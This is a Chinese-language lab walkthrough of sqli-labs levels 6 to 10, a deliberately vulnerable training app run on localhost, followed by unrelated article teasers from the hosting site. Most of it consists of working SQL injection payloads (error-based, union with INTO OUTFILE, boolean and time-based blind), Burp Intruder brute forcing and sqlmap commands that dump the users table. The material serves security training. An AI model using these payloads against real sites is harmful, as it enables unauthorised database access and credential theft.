sqli-labs(6-10)关通关讲解

news2024/9/9 5:45:32

sqli-labs(6-10)关通关讲解

Less-6

方法一:手工注入

1.判断闭合

http://localhost/sqli-labs/Less-6/?id=1" //报错
http://localhost/sqli-labs/Less-6/?id=1" --+  //正常
http://localhost/sqli-labs/Less-6/?id=1" and 1=1 --+
http://localhost/sqli-labs/Less-6/?id=1" and 1=2 --+

image-20240723074403056

image-20240723074506128

image-20240723074515818

2.因为页面没有回显点而且语句错误会报错,所以我们用报错注入

先查数据库名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,database()),3)--+

image-20240723074703304

3.再查表名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),3)--+

image-20240723074902900

4.查users表中字段名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),3)--+

image-20240723075008353

5.查username,password字段的数据

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3)--+

image-20240723075110959

这里发现数据并不全,若想查到后面的数据可用限制查询:

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 4,1)),3)--+
#limt 4,1 从4开始查询一位,通过修改起始位置来分别查每行数据

image-20240723075244946

方法二:工具注入

使用sqlmap.py

1.查看所有数据库和当前数据库

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1" --dbs --batch

image-20240723075627745

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch --current-db

image-20240723075714182

2.查看security库中表

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security --tables

image-202407230759098763.c

3.查看users表中数据

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security -T users --dump

image-20240723080010436

Less-7

看下题目是用into outfile

image-20240725204313317

1.判断闭合

先尝试'发现页面显示

image-20240723080448118

"页面显示

image-20240723080517241

所以以**'**为主继续尝试闭合

http://localhost/sqli-labs/Less-7/?id=1')  and 1=1--+ //报错
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=1--+ //正常
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=2--+ //报错

所以闭合方式为 ')) --+

2.判断字段数

http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 3--+ //正常
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 4--+ //报错

3.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,database() into outfile   'D:/download/database.txt' --+

image-20240725205523035

image-20240725205546693

4.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security") into outfile 'D:/download/table.txt' --+

image-20240725205743915

5.查users的列

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile 'D:/download/column.txt' --+

image-20240725205855253

6.users查数据

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(id,username,password) from users) into outfile 'D:/download/dump.txt' --+

image-20240725205957032

Less-8

题目是布尔注入-单引号

image-20240725210133170

1.判断闭合

http://localhost/sqli-labs/Less-8/?id=1' and 1=1 --+
http://localhost/sqli-labs/Less-8/?id=1' and 1=2 --+

image-20240723085056753

image-20240723085104474

2.可以看出既没有回显点也没有报错,可通过布尔注入方式进行注入

方法一:

先去猜数据库长度

# 数据库长度判断
1:判断当前数据库的长度,利用二分法
?id=1' and length(database())>5--+   //正常显示
?id=1' and length(database())>8--+   //异常显示
?id=1' and length(database())=8--+   //正常显示
所以可知当前数据库长度为8个字符
知道数据库长度之后,我们可以利用ascii() substr() 函数对数据库名进行截取判断
ascii码是多少,最终得到数据库名"ascii(substr(database(),1,1)) 
ps:substr()截取位置默认从1开始

# 数据库名称判断
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
判断数据库的第一个字符
?id=1' and ascii(substr(database(),1,1))>114--+
?id=1' and ascii(substr(database(),1,1))>116--+
?id=1' and ascii(substr(database(),1,1))=115--+   //ascii码值115对应的字母为s
然后依次判断每个字符,数据库长度为8

最后可以判断出当前数据库为 security

数据库表名、字段名、表数据都可按此方法依次执行

也可以使用BP对其ASCII码进行爆破…

抓取以下数据包并将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb);进入Payload标签下设置攻击内容如下并开启爆破攻击…

img

Payload1有效载荷给定截取位置,Payload2有效载荷给定ascii范围

img

From:字符串截取起始位置,To:字符串截取结束位置

img

img

按长度排序找到只有8个一样长度的数据,将ASCII码值转换成字母然后从1到8排序,最后得到 security就是数据库名

img

查表名

第一步:获取数据库下表的个数

# 判断当前数据库中表的个数
//判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表
的个数为4
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>4--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

img

第二步:分别注入出各个表名得长度。

第一个表:
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
第二个表
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8--+
第三个表
...

第三步:猜测表名每个字符的ASCII值

​ 抓取以下数据包并将其发送到Intruder模块下,将截取字符串位置与ASCII码添加攻击向量,并设置攻击模式为集束炸弹(Cluster bomb)

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+

第一个表:6个字段

img

img

img

img

通过排序查出第一个表为:emails

第二个表:长度为8

img

img

img

第二个表为:referers

其他表依次判断

由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有 可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

爆破users字段名

第一步:判断字段数量

?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)=3--+  //3个字段

第二步:判断users各字段长度

?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1))=2--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))=8--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1))=8--+ 

第三步:判断每个字段的字符—BP抓包爆破

#判断语句是否之前
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)>'a'--+
#随便等于一个字母然后抓包爆破
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)='a'--+

第一个字段

img

img

img

img

所以为id

第二个第三个,修改limit从哪开始

img

img

或者把limit 0,1中 0也 设置成Payload1也可查出就是比较乱得找。

最终结果为:username,password

爆破字段下的内容

第一步:获取字段下内容得数量
?id=1' and (select count(username) from users limit 0,1)=12 --+
获取字段第内容长度
# 猜解字段中数据的长度
//依次判断所有数据
?id=1' and length((select id from users limit 0,1))>5--+
?id=1' and length((select username from users limit 0,1))>3 --+
?id=1' and length((select password from users limit 0,1))>3 --+
#获取第一个字段内容
#猜解字段数据的每个字符ASCII编码的出字符或者直接=字符判断字符
?id=1'and (ascii(substr((select username from users limit 0,1),1,1)))=68--+
?id=1'and (ascii(substr((select password from users limit 0,1),1,1)))=68--+

然后通过Burp爆破获取

小结:一般布尔盲注,手工注入过于繁琐;不建议手注可借助工具如 SQLMAP…

方法二:工具注入

布尔盲注手工注入太过麻烦,最好借助工具sqlmap来注入

方法跟Less-6相同,这里我直接写出最后一步

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch -D security -T users --dump

image-20240725210950099

推荐使用工具注入

Less-9

题目提示用时间盲注

image-20240725211044833

1.判断闭合

之前判断方法都无法判断闭合但是可以用sleep()判断
http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+

image-20240725211532297

看见网页延时5s加载完那么闭合成功

2.判断数据库长度

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

3.判断数据库字段

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>90,sleep(5),1) --+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) 
//依次判断每一个

image-20240725212025026

4.其他也是这样判断,太累了,这里就不赘述了。其实跟Less-8差不多,非常类似,都是靠猜。

Less-10

image-20240725212313947

跟Less-9一样,就是闭合不同

http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5)--+ 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1961778.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

YOLOv10环境搭建、训练自己的目标检测数据集、实际验证和测试

1 环境搭建 1.1 在官方仓库的给定的使用python3.9版本,则使用conda创建对应虚拟环境。 conda create -n yolov10 python3.9 1.2 切换到对应虚拟环境 conda activate yolov10 1.3 在指定目录下克隆yolov10官方仓库代码 git clone https://github.com/THU-MIG/yo…

手摸手教你撕碎西门子S7通讯协议10--S7Write写入float数据

1、S7通讯回顾 - (1)建立TCP连接 Socket.Connect-》已实现 - (2)发送访问请求 COTP-》已实现 - (3)交换通信信息 Setup Communication-》已实现 - (4)执行相关操作 …

器件学习——磁珠(2024.07.30)

参考链接1: 【器件篇】-25-磁珠的选型 在此感谢各位前辈大佬的总结,写这个只是为了记录学习大佬资料的过程,内容基本都是搬运的大佬博客,觉着有用自己搞过来自己记一下,如果有大佬觉着我搬过来不好,联系我删。 器件学习…

【MyBatis】史上最全的MyBatis执行SQL原理分析

目录 一、前言 二、简介 三、SQL 执行过程分析 3.1 SQL 执行入口分析 3.1.0 获取SqlSession对象 3.1.1 为 Mapper 接口创建代理对象 3.1.2 执行代理逻辑 3.1.2.1 获取 / 创建 MapperMethod 对象 3.1.2.1.1 创建 SqlCommand 对象 3.1.2.1.2 创建 MethodSignature 对象…

华为OD机试 - Wonderland游乐园 - 动态规划(Java 2024 D卷 200分)

华为OD机试 2024D卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试(JAVA)真题(D卷C卷A卷B卷)》。 刷的越多,抽中的概率越大,每一题都有详细的答题思路、详细的代码注释、3个测…

答应我,在量化策略回测里,避开未来函数这4个坑

由于社群的原因,看过不少策略,今天就腆着脸唠唠,量化新手期经常碰到未来函数的4个坑,希望量化萌新们少掉点儿头发。新手向文章,大神请绕行~ 情景1:使用前复权价格数据。 由于股票会存在分红送股的情形,价格…

芋道源码yudao-cloud 二开笔记(Editor富文本本地图片上传报错问题)

: 于是找到富文本的组件代码Editor.vue,检查一下上传的接口地址和token有没有传,如下图: 都没有问题,但还是报错,所以试试自定义上传的方法: // 导入上传文件的接口 import * as FileApi from …

reese84分析

声明 本文以教学为基准、本文提供的可操作性不得用于任何商业用途和违法违规场景。 本人对任何原因在使用本人中提供的代码和策略时可能对用户自己或他人造成的任何形式的损失和伤害不承担责任。 如有侵权,请联系我进行删除。 这里只是我分析的分析过程,以及一些重要点的记录…

最近火爆的GraphRAG是什么?真的那么有用吗?

最近,微软提出的GraphRAG项目引起了广泛关注。那么,GraphRAG究竟是什么?它真的那么实用吗?本文将为您详细解读GraphRAG的概念及其应用。 什么是传统的RAG? 📚 在深入了解GraphRAG之前,我们首先…

掌握AJAX技术:从基础到实战

文章目录 **引言****1. 什么是AJAX?****2. AJAX的工作原理**AJAX 示例使用 Fetch API 实现 AJAX **3. 如何在项目中使用AJAX****4. 处理AJAX请求的常见问题****5. AJAX与JSON的结合****6. 使用AJAX框架和库****7. 实战:创建一个动态表单****8. AJAX中的事…

Python 解决 ImportError: cannot import name ‘example’

Python 解决 ImportError: cannot import name ‘example’ 在Python编程的广阔天地中,ImportError: cannot import name example 是一个令人头疼但又常见的错误。当你试图从某个模块中导入一个不存在的名称时,这个错误就会悄然降临。本文将带你深入探索…

AI推理硬件成本分析:AMD Instinct MI300X与Nvidia GPU比较

随着AI模型训练成本的上升,人们越来越关注推理硬件的成本,尤其是在需要低延迟响应的应用中。Transformer模型需要强大的硬件支持,例如200毫秒以下的响应时间。Artificial Analysis最近分析了AI模型性能和定价,特别指出AMD的“Anta…

「豆包Marscode体验官」AI加持的云端IDE——三种方法高效开发前后端聊天交互功能

豆包 MarsCode 是一个集成了AI功能的编程助手和云端IDE,旨在提高开发效率和质量。它支持多种编程语言和IDE,提供智能代码补全、代码解释、单元测试生成和问题修复等功能,同时具备AI对话视图和开发工具。 豆包 MarsCode 豆包 MarsCode 编程助…

跟着动脑学院学习Android 开发基础

跟着动脑学院up主学习Android开发,记录学习笔记 2022 最新 Android 基础教程,从开发入门到项目实战,看它就够了,更新中_哔哩哔哩_bilibili (弱弱地说一句,绝大部分内容都是up主为我们准备好的资料里摘抄下…

机器学习 | 评估原理——模型评估与交叉验证

Hi,大家好,我是半亩花海。学完分类算法原理的知识,我们进入评估相关知识的学习,继续更新《白话机器学习的数学》这本书的学习笔记,在此分享模型评估与交叉验证相关评估原理。本章的基于前几节已建立的模型进行评估知识…

【C语言】Linux 飞翔的小鸟

【C语言】Linux 飞翔的小鸟 零、环境部署 安装Ncurses库 sudo apt-get install libncurses5-dev壹、编写代码 代码如下&#xff1a; bird.c #include<stdio.h> #include<time.h> #include<stdlib.h> #include<signal.h> #include<curses.h>…

LeetCode:相同的树(C语言)

1、问题概述&#xff1a;给2个二叉树的根节点p和q&#xff0c;如果2个树在结构和数值上都相同才为true&#xff0c;否则为false 2、示例 示例 1&#xff1a; 输入&#xff1a;p [1,2,3], q [1,2,3] 输出&#xff1a;true 示例 2&#xff1a; 输入&#xff1a;p [1,2], q […

做知识付费项目还能做吗?知识付费副业项目如何做?能挣多少钱?

hello,我是阿磊&#xff0c;一个20年的码农&#xff0c;6年前代码写不动了&#xff0c;转型专职做副业项目研究&#xff0c;为劳苦大众深度挖掘互联网副业项目&#xff0c;共同富裕。 现在做知识付费项目还能做吗&#xff1f; 互联网虚拟资源项目我一直在做&#xff0c;做了有…

AI绘画模型之:UNet、Imagen 与 DeepFloyd IF

重磅推荐专栏: 《大模型AIGC》 《课程大纲》 《知识星球》 本专栏致力于探索和讨论当今最前沿的技术趋势和应用领域,包括但不限于ChatGPT和Stable Diffusion等。我们将深入研究大型模型的开发和应用,以及与之相关的人工智能生成内容(AIGC)技术。通过深入的技术解析和实践经…

spring boot(学习笔记第十五课)

spring boot(学习笔记第十五课) Spring boot的websocket(广播) 学习内容&#xff1a; Spring boot的websocket&#xff08;广播&#xff09; 1. Spring boot的websocket&#xff08;广播&#xff09; 回顾下web server的进化 第一代Web程序&#xff0c;使用整体页面刷新技术…